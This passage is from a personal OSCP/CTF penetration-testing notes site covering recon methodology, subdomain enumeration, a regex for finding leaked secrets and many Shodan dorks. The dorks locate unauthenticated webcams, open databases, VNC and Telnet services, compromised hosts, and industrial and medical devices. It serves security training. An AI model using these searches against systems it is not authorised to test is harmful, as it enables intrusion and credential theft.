# Intro Here are my notes I use this as a reference guide of useful commands, tips and things to think about. I am constantly updating them as I continue my journey ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LSy0aAo8OKT4I-Ahftv%2Fuploads%2FHNtb826Yblsa1Z6PaU79%2FWeb%20banner%201280x320%20px.jpeg?alt=media\&token=520f0d69-7d34-43f3-8cd0-b55ed1f9e236) I hope these notes make your "Try Harder" journey a bit easier. ### Coffee or Beer :) If my notes have helped you I would be very grateful if you could [**buy me a coffee**](https://www.buymeacoffee.com/OffSecNewbie) ☕️ or beer 😉 {% embed url="" %} ![Or if Bitcoin is easier for you.](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MPis073YuvvTCH5ESHb%2F-MPisa35NXt8vVH5doVr%2Fimage.png?alt=media\&token=022cfa95-7691-4c2b-9415-24bde79001ae) ### Thank you! {% hint style="danger" %} There will be mistakes in this guide! If you spot one let me know so I can update it. I'm on Discord @rowbot#6655\ Thank you,\ rowbot {% endhint %} ## You can use the search tool at the top right corner of the page # Pre-engagement ### Log all commands of the current session ``` script $target.log .... commands and output of commands you ran in that 1 terminal sesssion .... exit # when finished ``` #### Use Cherrytree or OneNote other to document findings...even a text file! #### Create a screenshot of the selected area and save it at home directory ``` shift Print Screen ``` ### Set the Target IP Address to the $ip system variable ``` export ip=target_ip ``` {% hint style="success" %} If you're working on a single target it is useful to do the `export ip=target_ip` command before you run Tmux. That way when you create new tabs in Tmux you don't have to run the export command for every new tab. {% endhint %} {% content-ref url="/pages/-LT-TBkpQhCL1HhOlpxI" %} [Tmux Configuration](/kali-configuration/tmux-config) {% endcontent-ref %} {% content-ref url="/pages/-LTwbZoT7qnzQUBkA\_zu" %} [Terminator Configuration](/kali-configuration/terminator-shortcuts) {% endcontent-ref %} ### Coffee or Beer :) If you appreciate my notes I would be very grateful if you could [**buy me a coffee**](https://www.buymeacoffee.com/OffSecNewbie) ☕️ 😉. {% content-ref url="/pages/-M8Ent0nODYAtTrBaxN3" %} [Broken mention](broken://pages/-M8Ent0nODYAtTrBaxN3) {% endcontent-ref %} ![https://www.buymeacoffee.com/OffSecNewbie](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M6u0lXROXQoc6KIB1Jx%2F-M6u1ZK1h8Ji5jFCGIJY%2Fcoffee.PNG?alt=media\&token=f22f8a25-0891-4648-a5e4-9307152b3e61) ### Thank you! # General methodology If you have anything that you use in your methodology which is useful please let me know and I'll share ## General OSCP/CTF Tips {% hint style="success" %} Restart the box - wait 2+ minutes until it comes back and all services have started {% endhint %} ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LvQ3FCuC-4z8AEnPuvY%2F-LvQ7wVeHoxcG_wUjfG5%2Fimage.png?alt=media\&token=53b1db59-f160-41dc-9164-c1066d46078e) \ ![ ​https://www.xmind.net/m/5dypm8/#](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MjYOTAiDqETi77pfbkQ%2F-MjYOmiabAOoPJ9XtNAI%2Fimage.png?alt=media\&token=ec687e0f-603c-43bb-b4a5-7865db767920) ### For every open port TCP/UDP ``` http://packetlife.net/media/library/23/common_ports.pdf ``` * Find service and version * Find known service bugs * Find configuration issues * Run nmap port scan / banner grabbing ### Google * Every error message * Every URL path * Every parameter to find versions/apps/bugs * Every version exploit db * Every version vulnerability ### If app has auth * User enumeration * Password bruteforce * Default credentials google search #### If everything fails try: ``` nmap --script exploit -Pn $ip ``` ## Individual Host Scanning ### Service Scanning ### WebApp ``` https://owasp.org/www-project-web-security-testing-guide/v42/ ``` * Nikto * dirb * dirbuster * wpscan * dotdotpwn/LFI suite * view source * davtest/cadeavar * droopscan * joomscan * LFI\RFI test * Wapalyzer ### Linux\Windows * snmpwalk -c public -v1 $ip 1 * smbclient -L //$ip * smbmap -H $ip * rpcinfo * Enum4linux #### Anything Else * nmap scripts * hydra * MSF Aux Modules * Download software....uh'oh you're at this stage ## Exploitation * Gather version numbers * Searchsploit * Default Creds * Creds previously gathered * Download the software ## Stuck? #### Things to consider 1. Have you confirmed the service on the port manually and googled all the things (the SSH string, the banner text, the source)? 2. Is there a service that will allow you to enumerate something useful (i.e. usernames) but maybe doesn't make that obvious (e.g. RID brute-force through SMB with crackmapexec or lookupsid.py)? 3. Have you used the best wordlist possible for your tasks (is there a better/bigger directory list? Is there a SecLists cred list for this service?) 4. Have you fuzzed the directories you have found for a) more directories, or b) common filetypes -x php,pl,sh,etc 5. Have you tried some manual testing (MySQL, wireshark inspections) 6. Have you collected all the hashes and cracked them? 7. Have you tried ALL COMBINATIONS of the username/passwords and not just the pairs given? Have you tried them across all services/apps? 8. Do the version numbers tell you anything about the host? 9. Have you tried bruteforce (cewl, patator)? 10. Can you think of a way to find more information: More credentials, more URLs, more files, more ports, more access? 11. Do you need to relax some of the terms used for searching? Instead of v2.8 maybe we check for anything under 3. 12. Do you need a break? ## Capture info * Screenshot of IPConfig/WhoamI * Copy proof.txt * Dump hashes * Dump SSH Keys * Delete files * Reset Machine ## Donate {% embed url="" %} ### Thank you! # OSCP Templates A useful template to help track loot and progress ## CherryTree ``` https://411hall.github.io/assets/files/CTF_template.ctb ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LT2JpwPmL4YsWRgmnIQ%2F-LT2K-IgBVLrsfFxsLgn%2Fcherrytree.png?alt=media\&token=2b2d041a-9d6d-4765-b6ab-8214567dc6dc) ``` https://github.com/unmeg/hax/blob/master/BOX-SKELETON.ctb ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LzBdASSqCPf4ffWupfP%2F-LzBdIxopx_khs2SB4YR%2Fimage.png?alt=media\&token=49457013-a768-43d2-96b9-7c3d4ee9c8e6) ## Exam ``` https://github.com/whoisflynn/OSCP-Exam-Report-Template ``` ![https://www.notion.so/OSCP-Exam-Notes-EXAM\_DATE-8ae4cf297fe54edfb7c691e67c1ecd5e](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MI4BbBSputm6rlVLhIE%2F-MI4BfS10_3YK9OyeoHX%2Fimage.png?alt=media\&token=c70c1e66-3da2-4c01-9374-31418e1e5bae) [ ](< https://www.buymeacoffee.com/OffSecNewbie >) ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MJ7KjNLqpvkYdQFimod%2F-MJ7KsKulITUt4voC84r%2Fimage.png?alt=media\&token=e631d53c-7453-44e2-bc19-fd5a05754853) {% embed url="" %} # Recon ![https://twitter.com/dc9221/status/1233349429828243456/photo/1](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MRtm2U7Ps4MoTULw68i%2F-MRtm5MYGO89JO6ROC4m%2Fimage.png?alt=media\&token=4916b03c-c750-40d0-a551-bd6770143ece) ### A Web App Tool to Run and Keep all your recon in the same place. ``` https://docs.reconness.com/ ``` ![bugcrowd](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LuP3gyAF959Ou4vUVT0%2F-LuUAlzxAbfpBfcfSfK_%2Fimage.png?alt=media\&token=5d93a91a-6942-4f95-9a69-6e5928d51e9e) ![Ways to find Brand / TLD Discovery](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LuP3gyAF959Ou4vUVT0%2F-LuUCuJBMf9bck8Obz3g%2Fimage.png?alt=media\&token=e94f777f-5d25-4aac-a3f3-a751fbfdc794) ## Discover IP Space ``` look for different asns http://bgp.he.net prefixes v4 presents different IP ranges inside the CIDR notation whois -h whois.cymru.com $(dig +short tesla.com) #finds CIDR notation for tesla.com - finds ip address for website careful not to pick up shared hosting amass find subdomains for each of of these ASNs amass intel -asn 123456 #find more details about ip ranges/countries etc whois.arin.net ripe.net shodan.io https://beta.shodan.io/search/filters #useful filters org:"Tesla" #maybe some false positives ``` ## Discovering New Targets and TLDs ``` Find different attack surfaces which other people might not have discovered, ie from acquisitions Wikipedia search for subsiduries Crunchbase.com search for org look for acquisitions Owler.com search for org look for acquisitions Acquiredby.co search for org acquisitions LinkedIn affiliated pages or similiar pages Reversewhois amass intel -d tesla.com -whois Builtwith Relationship Profile look for anaylitical codes under ID # google tracking codes that are linked to different sites GoogleDorks intext:"copyright tesla motors" ShodanDorks http.favicon.hash:81586312 # Jenkins favicon hash can narrow it down after that ``` ## Subdomain Enumeration ``` https://github.com/tomnomnom/assetfinder/ assetfinder -subs-only offsecnewbie.com amass enum -d tesla.com -ip setup config.ini file get access to a lot more data than baseline tool subfinder # not used much but has a few extra sources subfinder -d tesla.com -t 25 -timeout 5 -silent DNS bruteforcing https://youtu.be/La3iWKRX-tE?t=802 all.txt + goaltdns + commonspeak --> massdns / gobuster3 https://github.com/subfinder/goaltdns massdns #download all.txt sed -e 's/$/.tesla.com/' -i all.txt #adds tesla.com to start of each line - overrides file massdns -r lists/resolvers.txt -t CNAME all.txt -o S > results #massdns much faster than gobuster but can get you blacklisted from dns resolovers - a lot of false positives and negatives rapid 7 fdns #download latest file here: https://opendata.rapid7.com/sonar.fdns_v2/ pv 2019-10-27-1572199582-fdns_cname.json.gz | pigz -dc | grep -E "\.tesla\.org\"," | jq -r '.name' certstream certstream | grep -E "\.tesla\.com$" #Real-time certificate transparency log update stream ``` ## Fingerprinting what is running, narrow down attack surface ``` builtwith.com whatweb #follows redirection http-->https massscan & nmap masscan -p1-65535 $(dig +short tesla.com) --rate 1000 ``` ## Dorking ``` shodan dork org:"Tesla" ssl:"Tesla" #accurate and can prove ownership to organisation ssl:"Tesla" http.component:"Drupal" ssl:"Tesla" http.title:"Login" censys.io 443.https.tls.certificate.parsed.subject.organizational_unit: Tesla Motors github dork "tesla.com" password "tesla.com" key "tesla.com" api https://github.com/condingo/dorky #automate the dorking process - tool to be released ``` ## Content Discovery ``` Burpcrawler crawl site Linkfinder https://github.com/GerbenJavado/LinkFinder jsparser - similar to above gobuster & recursebuster # recurse only does directory otxurls echo "www.tesla.com" | otxurls | head -n 300 #attempts to find urls within alienvault waybackurls echo "www.tesla.com" | waybackurls | head -n 300 #similar to above, you can get parameters back which can be useful when fuzzing ``` ## Parameter Discovery ``` https://github.com/maK-/parameth ``` ## Automation ``` https://github.com/codingo/Interlace Interlace #multithreads other tools interlace -tL domains.txt -c "amass enum-d _target_" -o siubdomains.txt -threads 20 LazyRecon #outofdate but still good baseline ``` GHDB + others GUI tool ``` https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/ ``` ## Username discovery To find out what sites a user is registered: ``` https://namechk.com/ https://whatsmyname.app/ ``` ## Other Collections of Tools, Bookmarks, and other guides created to aid in OSINT collection ``` https://github.com/sinwindie/OSINT/ ``` # Active IP addresses from subdomains ``` for i in $(cat subdomains.txt); do dig $i | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | grep -vE "10.*"; done ``` Search for all leaked keys/secrets using one regex ``` (?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"] ``` ## Shodan Dorks #### Webcam searches 1. [title:camera](https://www.shodan.io/search?query=title%3Acamera) – general search for anything matching the “camera” keyword. 2. [webcam has\_screenshot:true](https://www.shodan.io/search?query=webcam+has_screenshot%3Atrue) – a general search for any IoT device identified as a webcam that has screenshots available. 3. [has\_screenshot:true IP Webcam](https://www.shodan.io/search?query=has_screenshot%3Atrue+IP+Webcam) – another version of the above search, see how the results might differ? 4. [server: webcampxp](https://www.shodan.io/search?query=server%3A+webcamxp) – webcamXP is one of the most popular and commonly encountered network camera software for Windows OS. 5. [server: “webcam 7”](https://www.shodan.io/search?query=server%3A+%22webcam+7%22) – webcam 7 cameras; not as popular as the above type, but still they are still popular and encountered out there. 6. [title:”blue iris remote view”](https://www.shodan.io/search?query=title%3A%22blue+iris+remote+view%22) – webcams identified as belonging to the [Blue Iris](https://blueirissoftware.com/) webcam remote management and monitoring service. 7. [title:”ui3 -“](https://www.shodan.io/search?query=title%3A%22ui3+-%22) – UI3 is a HTML5 web interface for Blue Iris mentioned above. 8. [title:”Network Camera VB-M600″](https://www.shodan.io/search?query=title%3A%22Network+Camera+VB-M600%22) – Canon manufactured megapixel security cameras. 9. [product:”Yawcam webcam viewer httpd”](https://www.shodan.io/search?query=product%3A%22Yawcam+webcam+viewer+httpd%22) – Yawcam stands for Yet Another WebCAM, free live streaming and webcam software. 10. [title:”IPCam Client”](https://www.shodan.io/search?query=title%3A%22IPCam+Client%22) – IPCam Client webcam devices. 11. [server: GeoHttpServer](https://www.shodan.io/search?query=Server%3A+GeoHttpServer) – GeoVision (GeoHttpServer) Webcams, older webcam software with some had well documented vulnerabilities. 12. [server: VVTK-HTTP-Server](https://www.shodan.io/search?query=server%3A+VVTK-HTTP-Server) – Vivotek IP cameras. 13. [title:”Avigilon”](https://www.shodan.io/search?query=title%3A%22Avigilon%22) – access to the Avigilion brand camera and monitoring devices. 14. [ACTi](https://www.shodan.io/search?query=ACTi) – various IP camera and video management system products. 15. [WWW-Authenticate: “Merit LILIN Ent. Co., Ltd.”](https://www.shodan.io/search?query=WWW-Authenticate%3A+%22Merit+LILIN+Ent.+Co.%2C+Ltd.%22) – a UK-based house automation / IP camera provider. 16. [title:”+tm01+”](https://www.shodan.io/search?query=title%3A%22%2Btm01%2B%22) – unsecured Linksys webcams, a lot of them with screenshots. 17. [server: “i-Catcher Console”](https://www.shodan.io/search?query=server%3A+%22i-Catcher+Console%22) – another example of an IP-based CCTV system. 18. [Netwave IP Camera Content-Length: 2574](https://www.shodan.io/search?query=Netwave+IP+Camera+Content-Length%3A+2574) – access to the Netwave make IP cameras. 19. [200 ok dvr port:”81″](https://www.shodan.io/search?query=200+ok+dvr+port%3A%2281%22) – DVR CCTV cameras accessible via http. 20. [WVC80N](https://www.shodan.io/search?query=WVC80N) – Linksys WVC80N cameras. Explore further by these tags: WEBCAM: CAM: [https://www.shodan.io/explore/tag/cam ](https://www.shodan.io/explore/tag/cam) CAMERA:
#### VOIP communication devices 1. [device:”voip”](https://www.shodan.io/search?query=device%3A%22voip%22) – general search for Voice over IP devices. 2. [device:”voip phone”](https://www.shodan.io/search?query=device%3A%22voip+phone%22) – more specific search for anything VoIP containing a “phone” keyword. 3. [server: snom](https://www.shodan.io/search?query=server%3A+snom) – Snom is a VoIP provider with some legacy devices online. 4. [“snom embedded 200 OK”](https://www.shodan.io/search?query=%22snom+embedded+200+OK%22) – Snom devices with enabled authentication. 5. [AddPac](https://www.shodan.io/search?query=AddPac) – an older VoIP provider, nearly exclusively legacy devices. 6. [mcu: tandberg](https://www.shodan.io/search?query=mcu%3A+tandberg) – Tandberg is a hardware manufacturer of multi-point control units for video conferencing. 7. [title:”polycom”](https://www.shodan.io/search?query=title%3A%22polycom%22) – Polycom is another VoIP communication brand. 8. [title:”openstage”](https://www.shodan.io/search?query=title%3A%22openstage%22) – Siemens Openstage brand IP phones. 9. [39 voip](https://www.shodan.io/search?query=39+voip) – some more VoIP services, mostly behind login screens 10. [Server: MSOS/2.0 mawebserver/1.1](https://www.shodan.io/search?query=Server%3A+MSOS%2F2.0+mawebserver%2F1.1) – VoIP media gateway, commonly used by services such as Patton SN4112 FXO. Explore further by the VOIP tag: ![](https://www.osintme.com/wp-content/uploads/2021/01/Patton-VoIP.png) #### Database searches 1. [product:MySQL](https://www.shodan.io/search?query=product%3AMySQL) – broad search for MySQL databases. 2. [mongodb port:27017](https://www.shodan.io/search?query=mongodb+port%3A27017) – MongoDB databases on their default port. Unsecured by default. 3. [“MongoDB Server Information” port:27017](https://www.shodan.io/search?query=%22MongoDB+Server+Information%22+port%3A27017) – another variation of the above search. 4. [“MongoDB Server Information { “metrics”:”](https://www.shodan.io/search?query=%22MongoDB+Server+Information+%7B+++++%22metrics%22%3A%22) – fully open MongoDBs. 5. [“Set-Cookie: mongo-express=” “200 OK”](https://www.shodan.io/search?query=%22Set-Cookie%3A+mongo-express%3D%22+%22200+OK%22) – MongoDB open databases. 6. [kibana content-length:217](https://www.shodan.io/search?query=kibana+content-length%3A217) – Kibana dashboards accessible without authentication. 7. [port:”9200″ all:elastic](https://www.shodan.io/search?query=port%3A%229200%22+all%3Aelastic) – Elasticsearch open databases. 8. [port:5432 PostgreSQL](https://www.shodan.io/search?query=port%3A5432+PostgreSQL) – remote connections to PostgreSQL servers. 9. [product:”CouchDB”](https://www.shodan.io/search?query=product%3A%22CouchDB%22) – Apache CouchDB databases listed. 10. [port:”5984″+Server: “CouchDB/2.1.0”](https://www.shodan.io/search?query=port%3A%225984%22%2BServer%3A+%22CouchDB%2F2.1.0%22) – vulnerable CouchDB where remote code execution may be possible. Explore further by the DATABASE tag: [https://www.shodan.io/explore/tag/database ](https://www.shodan.io/explore/tag/database) ![](https://www.osintme.com/wp-content/uploads/2020/10/kibana-shodan-search-osint.png) #### Maritime devices 1. [maritime](https://www.shodan.io/search?query=maritime) – general search for anything related to maritime devices. 2. [sailor](https://www.shodan.io/search?query=sailor) – another wide search, could yield unrelated results! 3. [org:marlink](https://www.shodan.io/search?query=org%3Amarlink) – general search; Marlink is the world’s largest maritime satellite communications provider. 4. [satcom](https://www.shodan.io/search?query=satcom) – another maritime satellite communications services provider. 5. [inmarsat](https://www.shodan.io/search?query=inmarsat) – as above, but a slightly less known equipment vendor. 6. [vsat](https://www.shodan.io/search?query=vsat) – abbreviation for “very-small-aperture terminal”, a data transmitter / receiver commonly used by maritime vessels. 7. [ECDIS](https://www.shodan.io/search?query=ECDIS) – abbreviation for Electronic Chart Display and Information Systems, used in navigation and autopilot systems. 8. [uhp vsat terminal software -password](https://www.shodan.io/search?query=uhp+vsat+terminal+software+-password) – satellite network router without a password. 9. [ssl:”Cobham SATCOM”](https://www.shodan.io/search?query=ssl%3A%22Cobham+SATCOM%22) – maritime radio and locations systems. 10. [title:”Slocum Fleet Mission Control”](https://www.shodan.io/search?query=title%3A%22Slocum+Fleet+Mission+Control%22) – maritime mission control software. Explore further by the VSAT tag: #### Files & directories 1. [http.title:”Index of /”](https://www.shodan.io/search?query=http.title%3A%22Index+of+%2F%22) – open lists of files and directories on various servers. 2. [port:80 title:”Index of /”](https://www.shodan.io/search?query=port%3A80+title%3A%22Index+of+%2F%22) – slight variation of the above, note how the results might differ. 3. [“220” “230 Login successful.” port:21](https://www.shodan.io/search?query=%22220%22+%22230+Login+successful.%22+port%3A21) – FTP resources potentially accessible without login credentials. 4. [230 ‘anonymous@’ login ok](https://www.shodan.io/search?query=230+%27anonymous%40%27+login+ok) – anonymous login allowed to FTP resources. 5. [“Anonymous+access+allowed” port:”21″](https://www.shodan.io/search?query=%22Anonymous%2Baccess%2Ballowed%22+port%3A%2221%22) – as above. 6. [vsftpd 2.3.4](https://www.shodan.io/search?query=Vsftpd+2.3.4) – legacy Linux based FTP service with a widely known security vulnerability 7. [ftp port:”10000″](https://www.shodan.io/search?query=ftp+port%3A%2210000%22) – Network Data Management Protocol (NDMP), used for backup of network-attached storage (NAS) devices. 8. [“Authentication: disabled” port:445 product:”Samba”](https://www.shodan.io/search?query=%22Authentication%3A+disabled%22+port%3A445+product%3A%22Samba%22) – SMB file sharing 9. [“QuickBooks files OverNetwork” -unix port:445](https://www.shodan.io/search?query=%22QuickBooks+files+OverNetwork%22+-unix+port%3A445) – default settings for sharing QuickBooks files. 10. [filezilla port:”21″](https://www.shodan.io/search?query=filezilla+port%3A%2221%22) – popular file sharing software Filezilla. Explore further by these tags: FTP: SMB: [https://www.shodan.io/explore/tag/smb ](https://www.shodan.io/explore/tag/smb) #### Legacy Windows operating systems 1. [os:”Windows 5.0″](https://www.shodan.io/search?query=os%3A%22Windows+5.0%22) – Windows 2000; support ended in 2010. 2. [os:”Windows 5.1″](https://www.shodan.io/search?query=os%3A%22Windows+5.1%22) – Windows XP; support ended in 2014. 3. [os:Windows 2003](https://www.shodan.io/search?query=os%3AWindows+2003) – Windows Server 2003; support ended in 2015. 4. [os:”Windows Vista”](https://www.shodan.io/search?query=os%3A%22Windows+Vista%22)– Windows Vista; support ended in 2017. 5. [os:Windows 2008](https://www.shodan.io/search?query=os%3AWindows+2008) – Windows Server 2008; support ended in 2020. 6. [os:”Windows 7″](https://www.shodan.io/search?query=os%3A%22Windows+7%22) – Windows 7; support ended in 2020. 7. [os:”Windows 8″](https://www.shodan.io/search?query=os%3A%22Windows+8%22) – Windows 8; support ended in 2016. 8. [os:Windows 2011](https://www.shodan.io/search?query=os%3AWindows+2011) – Windows Home Server 2011; support ended in 2016. 9. [os:”Windows 8.1″](https://www.shodan.io/search?query=os%3A%22Windows+8.1%22) – Windows 8.1; support ended in 2018. 10. [os:Windows 2012](https://www.shodan.io/search?query=os%3AWindows+2012) – Windows Server 2012; support ended in 2018. Explore further by the WINDOWS tag: #### Default / generic credentials 1. [admin 1234](https://www.shodan.io/search?query=admin+1234) – basic very unsecure credentials. 2. [“default password”](https://www.shodan.io/search?query=%22default+password%22) – speaks for itself… 3. [test test port:”80″](https://www.shodan.io/search?query=test+test+port%3A%2280%22) – generic test credentials over HTTP. 4. [“authentication disabled” “RFB 003.008”](https://www.shodan.io/search?query=%22authentication+disabled%22+%22RFB+003.008%22) – no authentication necessary. 5. “[root@” port:23 -login -password -name -Session](https://www.shodan.io/search?query=%22root%40%22+port%3A23+-login+-password+-name+-Session) – accounts already logged in with root privilege over Telnet, port 23. 6. [port:23 console gateway](https://www.shodan.io/search?query=port%3A23+console+gateway) – remote access via Telnet, no password required. 7. [html:”def\_wirelesspassword”](https://www.shodan.io/search?query=html%3A%22def_wirelesspassword%22) – default login pages for routers. 8. [“polycom command shell”](https://www.shodan.io/search?query=%22polycom+command+shell%22) – possible authentication bypass to Polycom devices. 9. [“authentication disabled” port:5900,5901](https://www.shodan.io/search?query=%22authentication+disabled%22+port%3A5900%2C5901) – VNC services without authentication. 10. [“server: Bomgar” “200 OK”](https://www.shodan.io/search?query=%22server%3A+Bomgar%22+%22200+OK%22) – Bomgar remote support service. Explore further by the VNC tag: ![](https://www.osintme.com/wp-content/uploads/2021/01/Bomgar-remote-not-secure.png) #### Printers 1. [printer](https://www.shodan.io/search?query=printer) – general search for printers. 2. [“HP-ChaiSOE” port:”80″](https://www.shodan.io/search?query=%22HP-ChaiSOE%22+port%3A%2280%22) – HP LaserJet printers accessible through HTTP. 3. [title:”syncthru web service”](https://www.shodan.io/search?query=title%3A%22syncthru+web+service%22) – older Samsung printers, not secured by default. 4. [“Location: /main/main.html” debut](https://www.shodan.io/search?query=%22Location%3A+%2Fmain%2Fmain.html%22+debut) – admin pages of Brother printers, not secured. 5. [port:161 hp](https://www.shodan.io/search?query=port%3A161+hp) – HP printers that can be restarted remotely via port 161. 6. [port:23 “Password is not set”](https://www.shodan.io/search?query=port%3A23+%22Password+is+not+set%22) – open access via Telnet to printers without set passwords. 7. [“Laser Printer FTP Server”](https://www.shodan.io/search?query=%22Laser+Printer+FTP+Server%22) – printers accessible via FTP with anonymous login allowed. 8. [Printer Type: Lexmark](https://www.shodan.io/search?query=Printer+Type%3A+Lexmark) – access to control panels for Lexmark make printers. 9. [http 200 server epson -upnp](https://www.shodan.io/search?query=http+200+server+epson+-upnp) – HTTP accessible Epson printers. 10. [“Server: EPSON-HTTP” “200 OK”](https://www.shodan.io/search?query=%22Server%3A+EPSON-HTTP%22+%22200+OK%22) – another variation of the above search. 11. [ssl:”Xerox Generic Root”](https://www.shodan.io/search?query=ssl%3A%22Xerox+Generic+Root%22) – remote access to Xerox printers. 12. [“Server: CANON HTTP Server”](https://www.shodan.io/search?query=%22Server%3A+CANON+HTTP+Server%22) – Canon printer servers through HTTP connection. Explore further by these tags: PRINTER: PRINTERS: PRINT SERVER: [https://www.shodan.io/explore/tag/print%20server ](https://www.shodan.io/explore/tag/print%20server) #### Compromised devices and websites 1. [hacked](https://www.shodan.io/search?query=hacked) – general search for the ‘hacked’ label. 2. [“hacked by”](https://www.shodan.io/search?query=%22hacked+by%22) – another variation of the above search. 3. [http.title:”Hacked by”](https://www.shodan.io/search?query=http.title%3A%22Hacked+by%22) – another variation of the same search filter. 4. [http.title:”0wn3d by”](https://www.shodan.io/search?query=http.title%3A%220wn3d+by%22) – resourced labelled as ‘owned’ by a threat agent, hacker group, etc. 5. [“HACKED-ROUTER”](https://www.shodan.io/search?query=%22HACKED-ROUTER%22) – compromised routers, labelled accordingly. 6. [port:”27017″ “send\_bitcoin\_to\_retrieve\_the\_data”](https://www.shodan.io/search?query=port%3A%2227017%22+%22send_bitcoin_to_retrieve_the_data%22) – databases affected by ransomware, with the ransom demand still associated with them. 7. [bitcoin has\_screenshot:true](https://www.shodan.io/search?query=bitcoin+has_screenshot%3Atrue) – searches for the ‘bitcoin’ keyword, where a screenshot is present (useful for RDP screens of endpoints infected with ransomware). 8. [port:4444 system32](https://www.shodan.io/search?query=port%3A4444+system32) – compromised legacy operating systems. Port 4444 is the default port for Meterpreter – a Metasploit attack payload with an interactive shell for remote code execution. 9. [“attention”+”encrypted”+port:3389](https://www.shodan.io/search?query=%22attention%22%2B%22encrypted%22%2Bport%3A3389) – ransomware infected RDP services. 10. [“HACKED-ROUTER-HELP-SOS-HAD-DEFAULT-PASSWORD”](https://www.shodan.io/search?query=%22HACKED-ROUTER-HELP-SOS-HAD-DEFAULT-PASSWORD%22) – compromised hosts with the name changed to that phrase. 11. [“HACKED FTP server”](https://www.shodan.io/search?query=%22HACKED+FTP+server%22+) – compromised FTP servers. Explore further by the HACKED tag: [https://www.shodan.io/explore/tag/hacked ](https://www.shodan.io/explore/tag/hacked) ![](https://www.osintme.com/wp-content/uploads/2021/01/ransomware-osint-shodan.png) #### Miscellaneous 1. [solar](https://www.shodan.io/search?query=solar) – controls for solar panels and similar solar devices. 2. [“ETH – Total speed”](https://www.shodan.io/search?query=%22ETH+-+Total+speed%22) – Ethereum cryptocurrency miners. 3. [http.html:”\* The wp-config.php creation script uses this file”](https://www.shodan.io/search?query=http.html%3A%22*+The+wp-config.php+creation+script+uses+this+file%22) – misconfigured WordPress websites. 4. [http.title:”Nordex Control”](https://www.shodan.io/search?query=http.title%3A%22Nordex+Control%22) – searches for Nordex wind turbine farms. 5. [“Server: EIG Embedded Web Server” “200 Document follows”](https://www.shodan.io/search?query=%22Server%3A+EIG+Embedded+Web+Server%22+%22200+Document+follows%22) – EIG electricity meters. 6. [“DICOM Server Response” port:104](https://www.shodan.io/search?query=%22DICOM+Server+Response%22+port%3A104) – DICOM medical machinery. 7. [http.title:”Tesla”](https://www.shodan.io/search?query=http.title%3A%22Tesla%22) – anything with the term “Tesla” in the banner. 8. [“in-tank inventory” port:10001](https://www.shodan.io/search?query=%22in-tank+inventory%22+port%3A10001) – petrol pumps, including their physical addresses. 9. [http.title:”dashboard”](https://www.shodan.io/search?query=http.title%3A%22dashboard%22) – literally anything labelled ‘dashboard’, with many not accessible due to security by default. 10. [http.title:”control panel”](https://www.shodan.io/search?query=http.title%3A%22control+panel%22) – as above, but whatever is labelled as control panels. # Passive OSINT Discover as much about the target without revealing your IP address ## Netcraft.com Finds underlying OS, web server version uptime ## Find subdomains Sometimes SSL is a goldmine of information ``` crt.sh ``` ``` #!/bin/bash # a basic script to pull information from crt and present it # example ./crt.sh offsecnewbie.com # author rowbot if [[ $# -eq 0 ]] ; then echo "Usage: ./crt.sh domain. Also you might have to install jq - 'apt get install jq'" exit 1 else curl -s 